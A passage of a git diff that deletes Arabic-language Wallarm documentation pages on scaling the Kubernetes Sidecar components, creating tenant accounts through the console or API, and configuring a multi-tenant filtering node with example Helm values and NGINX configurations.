الاستعمال العالي في Kubernetes](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/) -* [تحديد موارد وحدة المعالجة المركزية للحاويات والأقراص](https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) - -## توسيع طائرة تحكم Wallarm Sidecar - -[حل Wallarm Sidecar يتألف من مكونين: متحكم وما بعد التحليل (Tarantool)][sidecar-arch-docs] . كل واحد يتطلب تكوينات توسعة فردية ، تتضمن معلمات Kubernetes مثل `replicas`، `requests`، و `podAntiAffinity`. - -### المتحكم Controller - -يعمل Sidecar Controller كـ webhook ذو القبول المتحول، حيث يدمج الحاويات الجانبية في Pod التطبيق. في معظم الحالات، ليس من الضروري توسعة HPA. بالنسبة للتوزيع عالي الاستعمال، فكر في الإعدادات التالية لملف `values.yaml`: - -* استخدم أكثر من مثيل واحد للPod الجانبي. يمكن التحكم في هذا باستخدام السمة [`controller.replicaCount`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L877). -* اختيارياً ، ضبط [`controller.resources.requests.cpu` و`controller.resources.requests.memory`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L1001) لضمان النوابل المحجوزة لـ Pod المتحكم. -* اختيارياً ، استخدم pod anti-affinity لتوزيع أقراص المتحكم عبر أقراص مختلفة لتقديم المرونة في حالة فشل العقدة. - -فيما يلي مثال على القسم `controller` المُعدَّل في ملف `values.yaml` ، حيث يتم دمج هذه التوصيات: - -```yaml -controller: - replicaCount: 2 - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - controller - topologyKey: kubernetes.io/hostname - resources: - limits: - cpu: 100m - memory: 128Mi - requests: - cpu: 50m - memory: 32Mi -``` - -### ما بعد التحليل (Tarantool) - -المكون ما بعد التحليل يتعامل مع حركة المرور من جميع الحاويات الجانبية المُدمجة في حمل عمل تطبيقك. هذا الجزء لا يمكن توسعته بواسطة HPA. - -بالنسبة للتوزيع العالي الاستعمال، يمكنك تعديل عدد التكرارات يدويًا باستخدام إعدادات الأتربة الآتية `values.yaml`: - -* استخدم أكثر من مثيل واحد لـ Tarantool Pod. يمكن التحكم في هذا بواسطة السمة [`postanalytics.replicaCount`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L382). -* قم بتكوين [`postanalytics.tarantool.config.arena`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml#L610C7-L610C7) بالجيجابايت (GB) بناء على حجم حركة المرور المتوقعة إلى حمل العمل التطبيقي. يحدد هذا الإعداد الذاكرة القصوى التي سيستخدمها تارنتول. لإرشادات الحساب ، قد تكون مفيدة [نفس التوصيات الخاصة بنا لخيارات التوزيع الأخرى][tarantool-memory-recommendations]. -* مراقبة [`postanalytics.tarantool.resources.limits`و`postanalytics.tarantool.resources.requests`](https://github.com/wallarm/sidecar/blob/4eb1a4c4f8d20989757c50c40e192eb7eb1f2169/helm/values.yaml#L639) مع تكوين `arena`. قم بتعيين `limits` على أو أعلى من قيمة `arena` للتعامل مع الطلب الذروة وتجنب الأعطال المرتبطة بالذاكرة. ضمان أن `requests` ترتقي أو تجاوز قيمة `arena` لأداء Tarantool المثالي. لمزيد من المعلومات، راجع [توثيق Kubernetes](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/). -* اختيارياً ، قم بتعيين `resources.requests` و `resources.limits` لجميع الحاويات الأخرى ضمن قسم `postanalytics` لضمان التخصيص المُخصّص لموارد Tarantool Pod. تتضمن هذه الحاويات التالية: `postanalytics.init`، `postanalytics.cron`، `postanalytics.appstructure`، و`postanalytics.antibot`. -* اختيارياً ، قم بتنفيذ pod anti-affinity لتوزيع حاويات البود `postanalytics` في أقراص مختلفة لتوفير المرونة في حالة فشل العقدة. - -فيما يلي مثال على القسم `postanalytics` المُعدَّل في ملف `values.yaml` ، حيث يتم دمج هذه التوصيات: - -```yaml -postanalytics: - replicaCount: 2 - tarantool: - config: - arena: "1.0" - resources: - limits: - cpu: 500m - memory: 1Gi - requests: - cpu: 100m - memory: 1Gi - init: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - cron: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - appstructure: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - antibot: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - postanalytics - topologyKey: kubernetes.io/hostname -``` - -## توسيع نطاق عبء العمل التطبيقي مع حاويات القطعة المضافة - -عند استخدام التوسع الأفقي لـ Pod (HPA) لإدارة أوزان العمل التطبيقية ، من الضروري تكوين `resources.requests` لكل حاوية في Pod بما في ذلك تلك المدمجة بواسطة Wallarm Sidecar. - -### متطلبات أساسية - -لتطبيق [HPA](https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/) بنجاح لحاويات Wallarm ، تأكد من تحقيق هذه الشروط المسبقة: - -* [خادم المقاييس](https://github.com/kubernetes-sigs/metrics-server#readme) مُكوّن ومُدرج في عقدة Kubernetes الخاصة بك. -* تم تكوين [`resources.request`](https://kubernetes.io/docs/tasks/configure-pod-container/assign-cpu-resource/) لجميع الحاويات في البود التطبيقي ، بما في ذلك الحاويات الابتدائية. - -يجب تحديد توزيع موارد الحاوية التطبيقية في بيان الحاوية. بالنسبة للحاويات التي أدرجتها Wallarm ، يتم توضيح إعدادات الموارد أدناه ، مع إمكانية التخصيص على أساس [العالمي ولكل بود][sidecar-conf-area]. - -### التوزيع العالمي عبر قيم الرسم البياني Helm - -| نمط توزيع الحاوية | اسم الحاوية | قيمة الرسم البياني | -|-------------------|-----------------------|--------------------------------------------------| -| [Split, Single][single-split-deployment] | sidecar-proxy | config.sidecar.containers.proxy.resources | -| Split | sidecar-helper | config.sidecar.containers.helper.resources | -| Split, Single | sidecar-init-iptables | config.sidecar.initContainers.iptables.resources | -| Split | sidecar-init-helper | config.sidecar.initContainers.helper.resources | - -مثال على قيم الرسم البياني لـ Helm لإدارة الموارد (الطلبات والحدود) على نطاق عالمي: - -```yaml -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` - -### تخصيص على أساس كل بود عبر توصيف البود - -| نمط توزيع الحاوية | اسم الحاوية | توصيف | -|-------------------|-----------------------|------------------------------------------------------------------------| -| [Single, Split][single-split-deployment] | sidecar-proxy | sidecar.wallarm.io/proxy-{cpu,memory,cpu-limit,memory-limit} | -| Split | sidecar-helper | sidecar.wallarm.io/helper-{cpu,memory,cpu-limit,memory-limit} | -| Single, Split | sidecar-init-iptables | sidecar.wallarm.io/init-iptables-{cpu,memory,cpu-limit,memory-limit} | -| Split | sidecar-init-helper | sidecar.wallarm.io/init-helper-{cpu,memory,cpu-limit,memory-limit} | - -مثال على التوصيفات لإدارة الموارد (الطلبات والحدود) على أساس كل بود (مع تمكين نمط الحاوية `single`): - -```yaml hl_lines="16-24" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-cpu: 200m - sidecar.wallarm.io/proxy-cpu-limit: 500m - sidecar.wallarm.io/proxy-memory: 256Mi - sidecar.wallarm.io/proxy-memory-limit: 512Mi - sidecar.wallarm.io/init-iptables-cpu: 50m - sidecar.wallarm.io/init-iptables-cpu-limit: 100m - sidecar.wallarm.io/init-iptables-memory: 32Mi - sidecar.wallarm.io/init-iptables-memory-limit: 64Mi - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -## مثال - -أدناه مثال لملف `values.yaml` للرسم البياني لـ Wallarm مع تطبيق الإعدادات المذكورة أعلاه. يفترض هذا المثال أن الموارد للحاويات المدمجة بواسطة Wallarm يتم تخصيصها على نطاق عالمي. - -```yaml -controller: - replicaCount: 2 - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - controller - topologyKey: kubernetes.io/hostname - resources: - limits: - cpu: 100m - memory: 128Mi - requests: - cpu: 50m - memory: 32Mi -postanalytics: - replicaCount: 2 - tarantool: - config: - arena: "1.0" - resources: - limits: - cpu: 500m - memory: 1Gi - requests: - cpu: 100m - memory: 1Gi - init: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - cron: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - appstructure: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - antibot: - resources: - limits: - cpu: 250m - memory: 300Mi - requests: - cpu: 50m - memory: 150Mi - affinity: - podAntiAffinity: - preferredDuringSchedulingIgnoredDuringExecution: - - weight: 100 - podAffinityTerm: - labelSelector: - matchExpressions: - - key: app.kubernetes.io/name - operator: In - values: - - wallarm-sidecar - - key: app.kubernetes.io/component - operator: In - values: - - postanalytics - topologyKey: kubernetes.io/hostname -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` \ No newline at end of file diff --git a/docs/latest-ar/installation/multi-tenant/configure-accounts.md b/docs/latest-ar/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index 8b8ef77dd6..0000000000 --- a/docs/latest-ar/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1,150 +0,0 @@ -# إنشاء حسابات المستأجر في لوحة تحكم Wallarm - -توفر هذه التعليمات الخطوات المطلوبة لتكوين [حسابات المستأجر](overview.md) بشكل صحيح. - ---8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - -## تكوين حسابات المستأجر - -لتكوين حسابات المستأجر: - -1. اشترك في لوحة تحكم Wallarm وأرسل طلبًا لتنشيط ميزة التعددية لحسابك إلى الدعم الفني لـ Wallarm. -1. قم بإنشاء حساب مستأجر. -1. اربط حركة مرور محددة بالمستأجر وتطبيقاته. - -### الخطوة 1: الاشتراك وإرسال طلب لتنشيط ميزة التعددية - -1. قم بملء وتأكيد نموذج التسجيل في لوحة تحكم Wallarm في [ السحابة الأمريكية](https://us1.my.wallarm.com/signup) أو [ السحابة الأوروبية](https://my.wallarm.com/signup). - - ![نموذج التسجيل](../../images/signup-en.png) - - !!! info "البريد الإلكتروني للشركة" - يرجى الاشتراك باستخدام عنوان البريد الإلكتروني للشركة. -2. افتح صندوق البريد وقم بتنشيط الحساب باستخدام الرابط الموجود في الرسالة المستلمة. -3. أرسل طلبًا لتنشيط ميزة التعددية لحسابك إلى [الدعم الفني لـ Wallarm](mailto:support@wallarm.com). أرسل البيانات التالية مع الطلب: - * اسم السحابة Wallarm المستخدمة (السحابة الأمريكية أو السحابة الأوروبية) - * الأسماء للحساب العالمي ولحساب المستأجر الفني - * عناوين البريد الإلكتروني للموظفين الذين سيتم السماح لهم بالوصول إلى حسابات المستأجر (بعد تنشيط ميزة التعددية، ستتمكن من إضافة الموظفين بنفسك) - * شعار لـ واجهة لوحة تحكم Wallarm - * نطاق مخصص لـ واجهة لوحة تحكم Wallarm، الشهادة والمفتاح التشفير للنطاق - * عنوان البريد الإلكتروني للدعم الفني الخاص بك - -بعد الحصول على طلبك، سيقوم الدعم الفني لـ Wallarm بـ: - -1. إنشاء حساب عالمي وحساب مستأجر فني في سحابة Wallarm. -2. يضيفك إلى قائمة مستخدمي الحساب العميل التقني بوظيفة [المسؤول العالمي](../../user-guides/settings/users.md). -3. إذا تم تقديم عناوين البريد الإلكتروني لموظفيك، سوف يضيف الدعم الفني لـ Wallarm الموظفين إلى قائمة المستخدمين للحساب المستأجر التقني بوظيفة [القراءة العالمية فقط](../../user-guides/settings/users.md). - - سيتم إرسال رسائل بريد إلكتروني للموظفين غير المسجلين مع الرابط لتعيين كلمة مرور جديدة للوصول إلى الحساب المستأجر التقني. -4. إرسال UUID الخاص بك (UUID المستأجر الرئيسي الذي يشير إلى شركة Wallarm الشريكة أو عميل Wallarm الذي يستخدم التعددية للبيئات المعزولة). - - سيكون المطلوب UUID المستلم في الخطوات اللاحقة. - -### الخطوة 2: إنشاء المستأجر - -#### من خلال لوحة تحكم Wallarm - -تحت حساب **المسئول العالمي**، يمكنك إنشاء المستأجرين من خلال لوحة تحكم Wallarm → محدد المستأجر → **إنشاء مستأجر**. - -![إنشاء مستأجر من خلال لوحة تحكم Wallarm](../../images/partner-waf-node/tenant-create-via-ui.png) - -يمكنك إنشاء [مستخدم](../../user-guides/settings/users.md#user-roles) **مسؤول** جديد للمستأجر الجديد الخاص بك. سيتم إرسال البريد الإلكتروني للدعوة إلى العنوان المحدد. - -#### عبر Wallarm API - -لإنشاء المستأجر، يمكنك إرسال طلبات مصادقة إلى Wallarm API. يمكن إرسال الطلبات المصادقة على Wallarm API من عميل API الخاص بك أو من [لوحة تحكم Wallarm API](../../api/overview.md) التي تحدد طريقة المصادقة: - -* لإرسال الطلبات من **لوحة تحكم Wallarm API**، يلزم تسجيل الدخول إلى لوحة تحكم Wallarm بوظيفة **المسئول العالمي** وتحديث صفحة Wallarm API Console المتوفرة على: - * https://apiconsole.us1.wallarm.com/ للسحابة الأمريكية - * https://apiconsole.eu1.wallarm.com/ للسحابة الأوروبية -* لإرسال الطلبات من **عميل API الخاص بك**، يلزم تمرير [رمز API مع صلاحيات المسؤول العالمي](../../user-guides/settings/api-tokens.md#creating-tokens-with-global-role-permissions) في الطلب. - -في هذه الخطوة، سيتم إنشاء حساب المستأجر المرتبط بالحساب العالمي. - -1. أرسل الطلب POST إلى المسار `/v1/objects/client/create` مع البارامترات التالية: - - البارامتر | الوصف | جزء الطلب | المطلوب - --------- | -------- | ------------- | --------- - `X-WallarmApi-Token` | [رمز API](../../user-guides/settings/api-tokens.md#configuring-tokens) مع تصريح ** المسؤول العالمي **. | رأس | نعم ، عند إرسال طلب من عميل API الخاص بك - `name` | اسم المستأجر.| الجسم | نعم - `vuln_prefix` | بادئة التحيز التي ستستخدمها Wallarm لتتبع التحيز والربط مع المستأجر. يجب أن تحتوي البادئة على أربعة أحرف كبيرة أو أرقام وتكون ذات صلة باسم المستأجر ، على سبيل المثال: `TNNT` لـ 'Tenant'. | الجسم | نعم - `partner_uuid` | [معرف المستأجر الرئيسي](#step-2-get-access-to-the-tenant-account-creation) المستلم عند إنشاء حساب عالمي. | الجسم | نعم - - ??? info "إظهار مثال على الطلب الذي أرسلته من عميل API الخاص بك" - === " السحابة الأمريكية" - ```bash - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - === " السحابة الأوروبية" - ``` bash - curl -v -X POST "https://api.wallarm.com/v1/objects/client/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"name\": \"Tenant\", \"vuln_prefix\": \"TNNT\", \"partner_uuid\": \"YOUR_PARTNER_UUID\"}" - ``` - - ??? info "إظهار مثال على الرد" - ``` bash - { - "status":200, - "body": { - "id":10110, - "name":"Tenant 1", - "components":["waf"], - "vuln_prefix":"TNTST", - ... - "uuid":"11111111-1111-1111-1111-111111111111", - ... - } - } - ``` - -2. انسخ قيمة البارامتر `uuid` من الرد على الطلب. سيتم استخدام البارامتر عند ربط حركة مرور المستأجر بحساب المستأجر. - -ستتم عرض المستأجرين المنشأين في لوحة تحكم Wallarm لـ [المستخدمين العالميين](../../user-guides/settings/users.md#user-roles). مثل `Tenant 1` و `Tenant 2` : - -![محدد المستأجر في لوحة تحكم Wallarm](../../images/partner-waf-node/clients-selector-in-console.png) - -### الخطوة 3: ربط حركة مرور محددة بمستأجرك - - !!! info "متى يتم التكوين؟" - يتم أداء هذا التكوين أثناء نشر العقدة وفقط إذا كانت حركة مرور جميع المستأجرين [تتم المعالجة أو ستتم المعالجة](deploy-multi-tenant-node.md) بواسطة عقدة Wallarm واحدة فقط. - - إذا كانت العقدة المنفصلة تعالج حركة مرور كل مستأجر، يرجى تجاوز هذه الخطوة والمتابعة إلى [نشر العقدة وتكوينها](deploy-multi-tenant-node.md). - -لتقديم معلومات لـ Wallarm Cloud حول أي حركة مرور يجب عرضها تحت حساب المستأجر الذي تحته، نحتاج إلى ربط حركة مرور محددة بالمستأجر المنشأ. لهذا، قم بتضمين المستأجر في ملف التكوين NGINX باستخدام `uuid` الخاص به (المستلم في **الخطوة 3**) كقيمة للتوجيه [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). على سبيل المثال: - -``` -server { - server_name tenant1.com; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - ... -} -``` - -في التكوين أعلاه، سترتبط حركة المرور التي تستهدف `tenant1.com` بالعميل `11111111-1111-1111-1111-111111111111`. - -## توفير الوصول للمستخدمين إلى الحسابات - -* على حساب المستأجر التقني، هناك **عالمية** و**عادية** [الأدوار](../../user-guides/settings/users.md) لتوفرها للمستخدمين. - - سيكون للمستخدمين العالميين الوصول إلى جميع حسابات المستأجر المرتبطة. - - سيكون للمستخدمين العاديين الوصول فقط إلى الحساب المستأجر التقني. -* على حسابات المستأجر معينة، هناك فقط **عادية** [الأدوار](../../user-guides/settings/users.md) لتوفرها للمستخدمين. - - سيتمكن المستخدمون من تتبع الطلبات المحظورة، وتحليل الثغرات التي تم اكتشافها، وأداء تكوينات إضافية للعقدة التصفية ضمن حساب المستأجر معين. سيتمكن المستخدمون من إضافة بعضهم البعض بأنفسهم إذا سمحت الأدوار بذلك. - -[اشرع في نشر العقدة ذات التعددية والتكوين →](deploy-multi-tenant-node.md) - -## تعطيل وتنشيط حسابات المستأجر في لوحة تحكم Wallarm - - في لوحة تحكم Wallarm، يمكن للمستخدم بدور **المسئول العالمي** تعطيل حسابات المستأجر المرتبطة بالحساب العالمي الذي يخدمه هذا المسئول. عندما يتم تعطيل حساب المستأجر: - -* ليس لدى مستخدمي هذا الحساب المستأجر الوصول إلى لوحة تحكم Wallarm. -* ستتوقف العقدة (العقد) المثبتة على هذا [مستوى المستأجر](deploy-multi-tenant-node.md#multi-tenant-node-characteristics) عن معالجة حركة المرور. - -الحسابات المعطلة لا تتم حذفها ويمكن تنشيطها مرة أخرى. - -لتعطيل حساب المستأجر، في محدد المستأجر، من قائمة المستأجر، اختر **تعطيل**، ثم أكد. سيتم تعطيل حساب المستأجر وإخفاؤه من قائمة المستأجر. - -![مستأجر - تعطيل](../../images/partner-waf-node/tenant-deactivate.png) - - لتنشيط حساب المستأجر المعطل مسبقا، في محدد المستأجر، انقر على **إظهار حسابات المستأجر المعطلة**، ثم اختر **تنشيط** لمستأجرك. \ No newline at end of file diff --git a/docs/latest-ar/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/latest-ar/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index 4f01d624c4..0000000000 --- a/docs/latest-ar/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1,161 +0,0 @@ -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md - -# تجهيز العقدة متعددة المستأجرين وتكوينها - -تحمي [العقدة متعددة المستأجرين](overview.md) عدة بنى تحتية مستقلة للشركات أو بيئات معزولة في وقت واحد. - -## خيارات تجهيز العقدة متعددة المستأجرين - -اختر خيارات تجهيز العقدة متعددة المستأجرين بحسب البنية التحتية الخاصة بك والمشكلة المستهدفة: - -* قم بتجهيز عقدة Wallarm واحدة لتصفية حركة مرور جميع العملاء أو البيئات المعزولة كما يلي: - - ![مخطط العقدة الشريكة](../../images/partner-waf-node/partner-traffic-processing-4.0.png) - - * تعالج عقدة Wallarm الواحدة حركة مرور عدة مستأجرين (المستأجر 1، المستأجر 2). - - --8<-- "../include/waf/features/multi-tenancy/partner-client-term.md" - - * تحدد عقدة Wallarm المستأجر الذي يتلقى حركة المرور عن طريق المعرّف الفريد للمستأجر ([`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) أو [`partner_client_uuid`](../../admin-en/configuration-guides/envoy/fine-tuning.md#configuration-options-for-the-envoy‑based-wallarm-node) في تثبيت Envoy). - * بالنسبة للنطاقات `https://tenant1.com` و `https://tenant2.com`، يتم تكوين السجلات، النطاق A، بعناوين IP الشريك أو العميل `225.130.128.241`. يظهر هذا الإعداد كمثال، يمكن استخدام إعداد مختلف على جانب الشريك والمستأجر. - * على جانب الشريك، يتم تكوين توجيه الطلبات الشرعية إلى عناوين المستأجر Tenant 1 (`http://upstream1:8080`) وTenant 2 (`http://upstream2:8080`). يظهر هذا الإعداد كمثال، يمكن استخدام إعداد مختلف على جانب الشريك والمستأجر. - - !!! تحذير "إذا كانت عقدة Wallarm من نوع CDN" - حيث أنه لا يتم دعم تكوين `wallarm_application` بواسطة [عقدة Wallarm CDN](../cdn-node.md)، فإن خيار التجهيز هذا لا يتم دعمه أيضًا بواسطة نوع العقدة CDN. إذا كان نوع العقدة المستخدم هو CDN، يرجى تجهيز عدة عقد تصفي كل واحدة منها حركة مرور مستأجر محدد. - -* قم بتجهيز عدة عقد Wallarm كل واحدة منها تصفي حركة مرور مستأجر محدد كما يلي: - - ![مخطط عقد العميل العديدة](../../images/partner-waf-node/client-several-nodes.png) - - * عقد Wallarm عديدة كل واحدة منها تصفي حركة مرور مستأجر معين (المستأجر 1، المستأجر 2). - * بالنسبة للنطاق https://tenant1.com، يتم تكوين السجل النطاق مع عنوان IP العميل 225.130.128.241. - * بالنسبة للنطاق https://tenant2.com، يتم تكوين السجل النطاق مع عنوان IP العميل 225.130.128.242. - * يقوم كل عقدة بتوجيه الطلبات الشرعية إلى عوانين المستأجر الخاص بها: - * العقدة 1 إلى المستأجر 1 (http://upstream1:8080). - * العقدة 2 إلى المستأجر 2 (http://upstream2:8080). - -## خصائص العقدة متعددة المستأجرين - -العقدة متعددة المستأجرين: - -* يمكن تثبيتها على نفس [المنصات](../../installation/supported-deployment-options.md) ووفقًا لنفس التعليمات كالعقدة الفلترة العادية. -* يمكن تثبيتها على مستوى **المستأجر التقني** أو **المستأجر**. إذا كنت ترغب في تزويد المستأجر بالوصول إلى واجهة Wallarm Console، يجب تثبيت العقدة الفلترة على مستوى المستأجر المناسب. -* يمكن تكوينها وفقًا لنفس التعليمات كالعقدة الفلترة العادية. -* يتم استخدام التوجيه [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) لتقسيم حركة المرور بواسطة المستأجرين. -* يتم استخدام التوجيه [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) لتقسيم الإعدادات بواسطة التطبيقات. - -## متطلبات التجهيز - -* [حسابات المستأجر المكونة](configure-accounts.md) -* تنفيذ الأوامر الأخرى بواسطة المستخدم ذي دور **المدير العام** المضاف تحت [حساب المستأجر التقني](configure-accounts.md#tenant-account-structure) -* [المنصة المدعومة لتثبيت العقدة الفلترة](../../installation/supported-deployment-options.md) - -## التوصيات لتجهيز عقدة متعددة المستأجرين - -* إذا كان مطلوبًا للمستأجر الوصول إلى واجهة Wallarm Console، أنشئ عقدة فلترة ضمن حساب المستأجر المناسب. -* قم بتكوين العقدة الفلترة عبر ملف تكوين NGINX للمستأجر. - -## الإجراء لتجهيز عقدة متعددة المستأجرين - -1. في واجهة Wallarm Console → **العُقد**، اضغط على **إنشاء عقدة** وحدد **عقدة Wallarm**. - - !!! معلومات "التبديل بين عقدة Wallarm موجودة ووضع متعدد المستأجرين" - إذا كنت تريد التبديل بين عقدة Wallarm موجودة ووضع متعدد المستأجرين، استخدم الخيار **جعلها متعددة المستأجرين** من القائمة المطلوبة للعقدة في القسم **العقد**. - - بمجرد التبديل والتأكيد، انتقل إلى الخطوة الرابعة. -1. حدد الخيار **العقدة متعددة المستأجرين**. - - ![إنشاء عقدة متعددة المستأجرين](../../images/user-guides/nodes/create-multi-tenant-node.png) -1. اضبط اسم العقدة واضغط على **إنشاء**. -1. انسخ الرمز المميز للعقدة الفلترة. -1. اعتمادًا على نموذج تجهيز العقدة الفلترة، قم بإجراء الخطوات من [التعليمات المناسبة](../../installation/supported-deployment-options.md). -1. قم بتقسيم حركة المرور بين المستأجرين باستخدام معرفاتهم الفريدة. - - === "NGINX و NGINX Plus" - افتح ملف تكوين NGINX للمستأجر وقم بتقسيم حركة المرور بين المستأجرين باستخدام التوجيه [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). انظر الأمثلة أدناه. - === "NGINX Ingress Controller" - استخدم [التعليقات التوضيحية لـ Ingress](../../admin-en/configure-kubernetes-en.md#ingress-annotations) `nginx.ingress.kubernetes.io/wallarm-partner-client-uuid` لتعيين UUID للمستأجر لكل مورد Ingress. يتعلق المورد الواحد بالمستأجر الواحد: - - ``` - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/wallarm-partner-client-uuid=VALUE - ``` - === "صورة Docker قائمة على NGINX" - 1. افتح ملف التهيئة لـ NGINX وقم بتقسيم حركة المرور بين المستأجرين باستخدام التوجيه [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). انظر الأمثلة أدناه. - 1. قم بتشغيل الحاوية المستندة إلى Docker [بتحميل ملف التكوين](../../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file). - === "صورة Docker قائمة على Envoy" - 1. افتح ملف التكوين `envoy.yaml` وقم بتقسيم حركة المرور بين المستأجرين باستخدام العامل [`partner_client_uuid`](../../admin-en/configuration-guides/envoy/fine-tuning.md#partner_client_id_param). - 1. قم بتشغيل الحاوية المستندة إلى Docker [والتي تحمل `envoy.yaml` المعدّ مسبقًا](../../admin-en/installation-guides/envoy/envoy-docker.md#run-the-container-mounting-envoyyaml). - === "البروكسي الجانبي لـ Kubernetes" - 1. افتح ملف التكوين NGINX وقم بتقسيم حركة المرور بين المستأجرين باستخدام التوجيه [`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid). - 1. قم بتحميل ملف التكوين NGINX إلى [العبوة الجانبية لـ Wallarm](../../installation/kubernetes/sidecar-proxy/customization.md#using-custom-nginx-configuration). - - مثال على ملف تكوين NGINX للعقدة الفلترة التي تعالج حركة مرور عميلين: - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - } - - server { - listen 80; - server_name tenant2.com; - wallarm_mode monitoring; - wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222; - - location / { - proxy_pass http://upstream2:8080; - } - } - ``` - - * على جانب المستأجر، يتم تكوين السجلات النطاق A بعنوان IP الشريك - * على جانب الشريك، يُكوِّن توجيه الطلبات إلى عناوين المستأجرين (`http://upstream1:8080` للمستأجر بـ `wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111` و `http://upstream2:8080` للمستأجر بـ `wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222`) - * يتم معالجة جميع الطلبات الواردة على عنوان الشريك، ويتم توجيه الطلبات الشرعية إلى `http://upstream1:8080` للمستأجر بـ `wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111` وإلى `http://upstream2:8080` للمستأجر بـ `wallarm_partner_client_uuid 22222222-2222-2222-2222-222222222222` - -1. إذا لزم الأمر، حدد معرفات التطبيقات للمستأجر باستخدام التوجيه [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application). - - مثال: - - ``` - server { - listen 80; - server_name tenant1.com; - wallarm_mode block; - wallarm_partner_client_uuid 11111111-1111-1111-1111-111111111111; - - location / { - proxy_pass http://upstream1:8080; - } - - location /login { - wallarm_application 21; - ... - } - location /users { - wallarm_application 22; - ... - } - } - ``` - - ينتمي تطبيقان إلى المستأجر `11111111-1111-1111-1111-111111111111`: - - * `tenant1.com/login` هو التطبيق `21` - * `tenant1.com/users` هو التطبيق `22` - -## تكوين عقدة متعددة المستأجرين - -لتخصيص إعدادات العقدة الفلترة، 